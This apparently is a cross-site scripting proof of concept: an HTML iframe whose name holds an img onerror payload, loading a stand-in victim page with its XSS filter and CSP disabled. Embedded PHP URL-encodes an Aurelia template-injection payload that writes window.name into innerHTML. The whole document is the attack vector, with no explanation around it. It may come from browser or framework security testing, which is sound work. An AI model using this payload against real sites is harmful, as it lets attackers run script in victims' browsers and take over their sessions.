<iframe name="<img src=x onerror=alert('name')>" src="https://victim.example.com/repo/csp/sd/aurelia.php?xssfilter=0&csp=0&inj=<?php
$payload = <<<'PAYLOAD'
<div ref=me innerhtml="${$this.me.ownerDocument.defaultView.name}">
PAYLOAD;
echo urlencode($payload);
?>"></iframe>

